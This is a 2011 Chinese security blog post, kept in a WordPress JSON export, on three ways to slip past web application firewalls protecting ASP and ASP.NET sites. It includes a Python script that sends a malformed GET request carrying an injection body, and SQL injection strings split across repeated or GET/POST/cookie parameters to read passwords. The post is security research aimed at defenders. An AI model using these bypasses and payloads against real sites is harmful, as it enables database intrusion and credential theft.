{"id":419,"date":"2011-09-06T17:15:51","date_gmt":"2011-09-06T17:15:51","guid":{"rendered":""},"modified":"2011-11-18T16:34:43","modified_gmt":"2011-11-18T08:34:43","slug":"419","status":"publish","type":"post","link":"http:\/\/zerobox.org\/notes\/419.html","title":{"rendered":"\u6d45\u8c08\u7ed5\u8fc7WAF\u7684\u6570\u79cd\u65b9\u6cd5"},"content":{"rendered":"<div class=\"storycontent\">\n<p>EMail: rayh4c#80sec.com<br \/>\nSite: http:\/\/www.80sec.com<br \/>\nDate: 2011-09-06<br \/>\nFrom: http:\/\/www.80sec.com\/?p=244<\/p>\n<p>0\u00d700 \u524d\u8a00<\/p>\n<p>08\u5e74\u521d\u8bde\u751f\u4e86\u4e00\u79cdSQL\u7fa4\u6ce8\u653b\u51fb\uff0c\u9ed1\u5ba2\u5728\u5168\u7403\u8303\u56f4\u5185\u5bf9asp\uff0casp.net\u52a0MSSQL\u67b6\u6784\u7684\u7f51\u7ad9\u8fdb\u884c\u4e86\u75af\u72c2\u626b\u8361\u3002\u7531\u4e8eMSSQL\u652f\u6301\u591a\u8bed\u53e5\u6ce8\u5165\uff0c\u9ed1\u5ba2\u901a\u8fc7\u4e00\u6761\u7ed3\u5408\u6e38\u6807\u7684SQL\u8bed\u53e5\u5c31\u80fd\u5c06\u6574\u4e2a\u6570\u636e\u5e93\u7684\u5b57\u6bb5\u5185\u5bb9\u81ea\u52a8\u8fdb\u884c\u7be1\u6539\uff0c\u53ef\u4ee5\u5728\u7f51\u7ad9\u4e0a\u65e0\u5dee\u522b\u7684\u8fdb\u884c\u7f51\u9875\u6728\u9a6c\u653b\u51fb\u3002<\/p>\n<p>\u4e92\u8054\u7f51\u662f\u5feb\u901f\u66f4\u65b0\u8fed\u4ee3\u7684\uff0c\u4f46\u662f\u5f88\u591a\u6ca1\u6709\u5f00\u53d1\u80fd\u529b\u7684\u5355\u4f4d\u90fd\u662f\u901a\u8fc7\u5916\u5305\u5efa\u7acb\u7f51\u7ad9\uff0c\u7f51\u7ad9\u7684\u7a0b\u5e8f\u4e00\u4e0a\u7ebf\u5c31\u518d\u4e5f\u65e0\u4eba\u7ef4\u62a4\uff0c\u5f88\u591a\u7a0b\u5e8f\u5b58\u5728\u5404\u79cd\u6f0f\u6d1e\u65e0\u6cd5\u4fee\u8865\uff0c\u4e8e\u662fWAF\u4fbf\u6709\u4e86\u5e02\u573a\uff0c\u73b0\u4eca\u95e8\u69db\u4f4e\u4e14\u6700\u80fd\u89e3\u51b3\u95ee\u9898\u7684\u662f\u9488\u5bf9IIS\/apache\u7684\u8f6f\u4ef6WAF\uff0c\u901a\u5e38\u4e00\u4e2a\u6a21\u5757\u4e00\u4e2a\u6269\u5c55\u5c31\u80fd\u641e\u5b9a\uff0c\u5f53\u7136\u4e5f\u6709\u8017\u8d44\u767e\u4e07\u5343\u4e07\u7684\u786c\u4ef6WAF\uff0c\u7136\u800c\u5982\u679cWAF\u62e6\u622a\u89c4\u5219\u51fa\u73b0\u6f0f\u6d1e\uff0c\u8fd9\u767e\u4e07\u5343\u4e07\u7684\u786c\u4ef6\u4e5f\u5c31\u662f\u4e00\u5806\u5e9f\u94c1\u3002\u90a3\u4e48WAF\u662f\u5426\u771f\u7684\u53ef\u4ee5\u89e3\u51b3\u6240\u6709\u7684WEB\u5b89\u5168\u95ee\u9898\u5462\uff1f\u6240\u4ee5\u672c\u6587\u4e3b\u8981\u89e3\u6790\u4e00\u4e9b\u53ef\u4ee5\u7ed5\u8fc7WAF\u7684\u7f55\u89c1\u6f0f\u6d1e\uff0c\u4f9b\u5b89\u5168\u4eba\u5458\u53c2\u8003\u3002<\/p>\n<p>0\u00d701 Request\u5bf9\u8c61\u7684\u5305\u89e3\u6790\u6f0f\u6d1e.<\/p>\n<p>asp\u548casp.net\u7684Request\u5bf9\u8c61\u5b58\u5728\u4e00\u4e2a\u5305\u89e3\u6790\u6f0f\u6d1e\uff0cRequest\u5bf9\u8c61\u5bf9\u4e8eGET\u548cPOST\u5305\u7684\u89e3\u6790\u8fc7\u4e8e\u5bbd\u677e\uff0c\u7528\u4e00\u53e5\u8bdd\u8868\u8fbe\u5c31\u662fRequest\u5bf9\u8c61\u5b83GET\u548cPOST\u50bb\u50bb\u5206\u4e0d\u6e05\u695a\uff0c\u7a0d\u6709\u70b9web\u5f00\u53d1\u7ecf\u9a8c\u7684\u540c\u5b66\u5e94\u8be5\u77e5\u9053Request\u63a5\u6536GET,POST,COOKIE\u4e5f\u5c31\u662fGPC\u4f20\u8fc7\u6765\u7684\u6570\u636e\uff0c\u4f46\u662fasp\u548c.net\u5e93\u5185\u7f6e\u7684Request\u5bf9\u8c61\u5b8c\u5168\u4e0d\u6309RFC\u6807\u51c6\u6765\uff0c\u4e0b\u9762\u6211\u4eec\u53ef\u4ee5\u505a\u4e2a\u6d4b\u8bd5\uff1a<\/p>\n<p>\u5206\u522b\u5c06\u4e0b\u9762\u4e24\u6bb5\u4ee3\u7801\u4fdd\u5b58\u4e3a1.asp\u548c1.aspx<\/p>\n<p>\u4f7f\u7528asp\u7684Request\u5bf9\u8c61\u63a5\u6536t\u53c2\u6570\u4f20\u503c<br \/>\n\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2013<br \/>\n\uff1c%<br \/>\nResponse.Write \u201cRequest:\u201d &amp; Request(\u201ct\u201d)<br \/>\n%\uff1e<br \/>\n\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2013<\/p>\n<p>\u4f7f\u7528asp.net\u7684Request\u5bf9\u8c61\u63a5\u6536t\u53c2\u6570\u4f20\u503c<br \/>\n\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2013<br \/>\n\uff1c%@ Page Language=\u201dC#\u201d %\uff1e<br \/>\n\uff1c%<br \/>\nstring test = Request[&#8220;t&#8221;];<br \/>\nResponse.Write(\u201cRequest:\u201d+test);<br \/>\n%\uff1e<br \/>\n\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2013<\/p>\n<p>&nbsp;<\/p>\n<p>\u4f7f\u7528\u4e0b\u9762\u7684python\u811a\u672c\u8c03\u7528socket\u53d1\u9001\u539f\u59cb\u7684HTTP\u5305<br \/>\n\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2013<br \/>\n#!\/usr\/bin\/env python<\/p>\n<p>import socket<\/p>\n<p>host = \u2019192.168.239.129\u2032<br \/>\npath = \u2018\/1.asp\u2019<br \/>\nport = 80<\/p>\n<p>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br \/>\ns.connect((host, port))<br \/>\ns.settimeout(8)<\/p>\n<p>exploit_packet=\u201dt=\u2019\/**\/or\/**\/1=1\u2013\u201d<br \/>\nexploit_packet+=\u201d<br \/>\n\u201d * 8<br \/>\npacket_length = len(exploit_packet)<br \/>\npacket=\u2019GET \u2018 + path + \u2018 HTTP\/1.1<br \/>\n\u2019<br \/>\npacket+=\u2019Host: \u2018 + host + \u2018<br \/>\n\u2019<br \/>\npacket+=\u2019Content-Length: %s<br \/>\n\u2019 % packet_length<br \/>\npacket+=\u2019Content-Type: application\/x-www-form-urlencoded<br \/>\n\u2019<br \/>\npacket+=\u2019<br \/>\n\u2019<br \/>\npacket = packet + exploit_packet<\/p>\n<p>print packet<br \/>\ns.send(packet)<br \/>\nbuf = s.recv(1000)<br \/>\nif buf: print buf[buf.rfind(&#8221;<br \/>\n&#8220;):]<br \/>\ns.close()<br \/>\n\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2013<\/p>\n<p>\u6211\u4eec\u53d1\u9001\u7684\u539f\u59cb\u5305\u662f\uff1a<br \/>\nGET \/1.asp HTTP\/1.1<br \/>\nHost: 192.168.239.129<br \/>\nContent-Length: 34<br \/>\nContent-Type: application\/x-www-form-urlencoded<\/p>\n<p>t=\u2019\/**\/or\/**\/1=1\u2013<\/p>\n<p>\u7ed3\u679c\u8fd4\u56de\u5982\u4e0b\uff1a<br \/>\nRequest:\u2019\/**\/or\/**\/1=1\u2013<br \/>\n\u5c06python\u6d4b\u8bd5\u811a\u672c\u7684path\u6539\u4e3a\/1.aspx\u6d4b\u8bd5\u9875\u8fd4\u56de\u540c\u6837\u7ed3\u679c\u3002<\/p>\n<p>\u6211\u4eec\u53ef\u4ee5\u770b\u5230\u8fd9\u662f\u4e00\u4e2a\u7578\u5f62\u7684HTTP GET\u8bf7\u6c42\u5305\uff0c\u8fd9\u4e2a\u5305\u7684\u5965\u79d8\u5728\u4e8et=\u2019\/**\/or\/**\/1=1\u2013\u53c2\u6570\u540e\u76848\u4e2a\u56de\u8f66\u6362\u884c\u548cContent-Length\u5934\uff0c\u5305\u7684\u7ed3\u6784\u7c7b\u4f3c\u4e8e\u4e00\u4e2aPOST\u5305\uff0c\u800c\u8bf7\u6c42\u7684\u65b9\u6cd5\u662fGET,\u6700\u540easp\u548casp.net\u7684Request\u5bf9\u8c61\u6210\u529f\u7684\u89e3\u6790\u4e86\u8fd9\u4e2a\u7578\u5f62\u5305\u53d6\u51fa\u4e86\u6570\u636e\u3002<\/p>\n<p>\u6240\u4ee5\u5982\u679cWAF\u6ca1\u6709\u5904\u7406\u597dHTTP\u5305\u7684\u5185\u5bb9\uff0c\u6cbf\u7528\u5e38\u89c4\u601d\u8def\u5904\u7406GET\u548cPOST\u7684\u903b\u8f91\u7684\u8bdd\uff0c\u90a3\u4e48\u8fd9\u4e2a\u7578\u5f62\u5305\u5c06\u4f1a\u6bc1\u6389WAF\u7684\u57fa\u7840\u9632\u5fa1\u3002<\/p>\n<p>0\u00d702 \u88ab\u9057\u5fd8\u7684\u590d\u53c2\u653b\u51fb.<\/p>\n<p>\u5927\u5bb6\u5e94\u8be5\u8fd8\u8bb0\u5f9709\u5e74\u7684HTTP Parameter Pollution\u653b\u51fb\uff0c\u67e5\u770b[3]\u6587\u6863\uff0c\u53ef\u4ee5\u53d1\u73b0ASP\/IIS\u548cASP.NET\/IIS\u7684\u573a\u666f\u4e0b\u5b58\u5728\u4e00\u4e2a\u590d\u53c2\u7279\u6027\uff0c\u672c\u6587\u5c06\u5229\u7528\u8fd9\u79cd\u7684\u7279\u6027\u7684\u653b\u51fb\u7b80\u79f0\u4e3a\u590d\u53c2\u653b\u51fb\uff0c\u75280X01\u91cc\u7684\u4f8b\u5b50\u7b80\u5355\u7684\u6d4b\u8bd5\u4e00\u4e0b:<\/p>\n<p>\u7528GET\u8bf7\u6c42\u4f20\u5165\u4e24\u4e2at\u53c2\u6570<br \/>\nGET http:\/\/192.168.239.129\/1.asp?t=1&amp;t=2<br \/>\n\u5c06\u8fd4\u56de<br \/>\nRequest:1, 2<\/p>\n<p>asp\u548casp.net\u7684Request\u5bf9\u8c61\u63a5\u6536\u4e86\u4e24\u4e2a\u53c2\u6570\uff0c\u5e76\u4e14\u4ee5\u9017\u53f7\u5206\u9694\uff0c\u6240\u4ee5\u4fbf\u884d\u751f\u51fa\u4e86[3]\u6587\u6863\u4e2d\u7684\u590d\u53c2SQL\u6ce8\u5165\u65b9\u6cd5\uff1a<\/p>\n<p>Vulnerable code\uff1a<br \/>\nSQL=\u201dselect key from table where id=\u201d+Request.QueryString(\u201cid\u201d)<\/p>\n<p>This request is successfully performed using the HPP technique\uff1a<br \/>\n\/?id=1\/**\/union\/*&amp;id=*\/select\/*&amp;id=*\/pwd\/*&amp;id=*\/from\/*&amp;id=*\/users<\/p>\n<p>The SQL request becomes\uff1a<br \/>\nselect key from table where id=1\/**\/union\/*,*\/select\/*,*\/pwd\/*,*\/from\/*,*\/usersLavakumarKuppan,<\/p>\n<p>\u6211\u4eec\u53ef\u4ee5\u770b\u5230\u901a\u8fc7\u5de7\u5999\u7684\u8fd0\u7528\u6ce8\u91ca\u7b26\u7ed3\u5408\u590d\u53c2\u7279\u6027\u53ef\u4ee5\u5206\u5272GET\u53c2\u6570\u4e2d\u7684SQL\u6ce8\u5165\u8bed\u53e5\uff0c\u5982\u679cWAF\u5bf9GET\u53c2\u6570\u7684\u5904\u7406\u8fc7\u4e8e\u7b80\u5355\u662f\u4e0d\u662f\u4f1a\u5339\u914d\u4e0d\u5230\u62e6\u622a\u89c4\u5219\u5462?<\/p>\n<p>0\u00d703 \u9ad8\u7ea7\u590d\u53c2\u653b\u51fb.<\/p>\n<p>ASP.NET\u7684Request\u5bf9\u8c61\u6709\u4e00\u4e2aParams\u5c5e\u6027\uff0cASP.NET\u7a0b\u5e8f\u5458\u5728\u4e00\u4e9b\u7a0b\u5e8f\u4e2d\u4f1a\u4f7f\u7528Request.Params[&#8220;xxx&#8221;]\u4f20\u5165\u6570\u636e\uff0c\u53c2\u8003[4]\u5fae\u8f6fMSDN\u6587\u6863\u6211\u4eec\u53ef\u4ee5\u77e5\u9053Params\u5c5e\u6027\u7684\u7279\u6027\uff0c\u8be5\u5c5e\u6027\u63a5\u6536GET,POST\u548cCookie\u7684\u4f20\u503c\u96c6\u5408\uff0c\u8fd9\u91cc\u6211\u4eec\u53ef\u4ee5\u4fee\u65390\u00d701\u91cc\u7684\u4f8b\u5b50\u6d4b\u8bd5\u4e00\u4e0b\uff1a<\/p>\n<p>\u4f7f\u7528asp.net\u7684Request.Params\u65b9\u6cd5\u63a5\u6536t\u53c2\u6570\u4f20\u503c<br \/>\n\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2013<br \/>\n\uff1c%@ Page Language=\u201dC#\u201d %\uff1e<br \/>\n\uff1c%<br \/>\nstring test = Request.Params[&#8220;t&#8221;];<br \/>\nResponse.Write(\u201cRequest:\u201d+test);<br \/>\n%\uff1e<br \/>\n\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2013<\/p>\n<p>\u53d1\u9001\u4e00\u4e2aPOST\u5305\uff0cGET,POST,COOKIE\u4e09\u4e2a\u65b9\u6cd5\u4e2d\u90fd\u5e26\u6709\u4e0d\u540c\u7684t\u53c2\u6570\u5185\u5bb9<br \/>\n\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2013<br \/>\nPOST http:\/\/192.168.239.129\/1.aspx?t=1 HTTP\/1.1<br \/>\nHost: 192.168.239.129<br \/>\nCookie: t=2<\/p>\n<p>t=3<br \/>\n\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2013<\/p>\n<p>\u7ed3\u679c\u8fd4\u56de<br \/>\nRequest:1,3,2<\/p>\n<p>\u6700\u540e\u5f97\u51fa\u7ed3\u8bba\uff0cRequest.Params\u65b9\u6cd5\u63a5\u6536\u7684\u6570\u636e\u662f\u6309\u7167GPC\u987a\u5e8f\u6574\u5408\uff0c\u770b\u5230\u8fd9\u91cc\u7684\u540c\u5b66\u518d\u8054\u60f3\u52300\u00d702\u7684\u590d\u53c2\u653b\u51fb\u5e94\u8be5\u5982\u918d\u9190\u704c\u9876\u4e86\uff0c\u6211\u4eec\u53ef\u4ee5\u5c06SQL\u653b\u51fb\u8bed\u53e5\u62c6\u5206\u5230GET,POST,COOKIE\u4e09\u4e2a\u53d8\u91cf\u91cc\u8fdb\u884c\u7ec4\u5408\u653b\u51fb\u3002\u60f3\u4e00\u60f3WAF\u9488\u5bf9\u8fd9\u79cd\u9ad8\u7ea7\u590d\u53c2\u653b\u51fb\u662f\u5426\u9632\u5fa1\u597d\u4e86\uff1f<\/p>\n<p>0\u00d704 \u540e\u8bdd<\/p>\n<p>WAF\u662f\u4e0d\u53ef\u80fd\u89e3\u51b3\u6240\u6709\u5b89\u5168\u95ee\u9898\u7684\uff0c\u672c\u6587\u7684\u601d\u8def\u5f52\u5176\u672c\u6e90\u5b9e\u9645\u4e0a\u662f\u63cf\u53d9\u4e86WAF\u5904\u7406HTTP\u5305\u4e0e\u670d\u52a1\u7aef\u5904\u7406HTTP\u5305\u6570\u79cd\u5dee\u5f02\u3002\u4e92\u8054\u7f51\u662f\u4e0d\u65ad\u66f4\u65b0\u8fed\u4ee3\u7684\uff0c\u5dee\u5f02\u5b58\u5728\uff0c\u7c7b\u4f3c\u7684\u6f0f\u6d1e\u4e5f\u4f1a\u5b58\u5728\u3002<br \/>\n\u672c\u6587\u63d0\u5230\u4e86\u4e09\u79cd\u7ed5\u8fc7WAF\u7684\u601d\u8def\uff0c\u7b2c\u4e00\u79cd\u662f\u6211\u7684\u539f\u521b\u5c5e\u4e8e0DAY\u72b6\u6001\uff0c\u7b2c\u4e8c\u79cd\u662f\u53c2\u8003\u5df2\u6709\u7684\u590d\u53c2\u653b\u51fb\uff0c\u5176\u4e2d\u7b2c\u4e09\u79cd\u9ad8\u7ea7\u590d\u53c2\u653b\u51fb\u662f\u7531Safe3\u540c\u5b66\u63d0\u51fa\u7684\uff0c\u672c\u6587\u4e5f\u662f\u4e0eSafe3\u540c\u5b66\u8ba8\u8bba\u4ed6\u5f00\u53d1\u7684WAF\u7684BUG\u800c\u6765\uff0c\u6240\u4ee5\u611f\u8c22Safe3\u540c\u5b66\u3002<br \/>\n\u53e6\u5916\u8bf7\u5927\u5bb6\u4e0d\u8981\u5c06\u672c\u6587\u7684\u5185\u5bb9\u7528\u4e8e\u975e\u6cd5\u9014\u5f84\uff0c\u4ec5\u4f9b\u5b89\u5168\u4eba\u5458\u53c2\u8003\uff0c\u8c22\u8c22\u3002<\/p>\n<p>\u53c2\u8003\uff1a<br \/>\n[1].http:\/\/www.faqs.org\/rfcs\/rfc2616.html<br \/>\n[2].http:\/\/www.w3school.com.cn\/asp\/asp_ref_request.asp<br \/>\n[3].http:\/\/www.ptsecurity.com\/download\/PT-devteev-CC-WAF-ENG.pdf<br \/>\n[4].http:\/\/msdn.microsoft.com\/en-us\/library\/system.web.httprequest.aspx<\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>EMail: rayh4c#80sec.com Site: http:\/\/www &hellip;<\/p>\n<p class=\"read-more\"><a href=\"http:\/\/zerobox.org\/notes\/419.html\">\u7ee7\u7eed\u9605\u8bfb &raquo;<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[46],"class_list":["post-419","post","type-post","status-publish","format-standard","hentry","tag-waf"],"views":896,"_links":{"self":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts\/419","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/comments?post=419"}],"version-history":[{"count":0,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts\/419\/revisions"}],"wp:attachment":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/media?parent=419"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/categories?post=419"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/tags?post=419"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}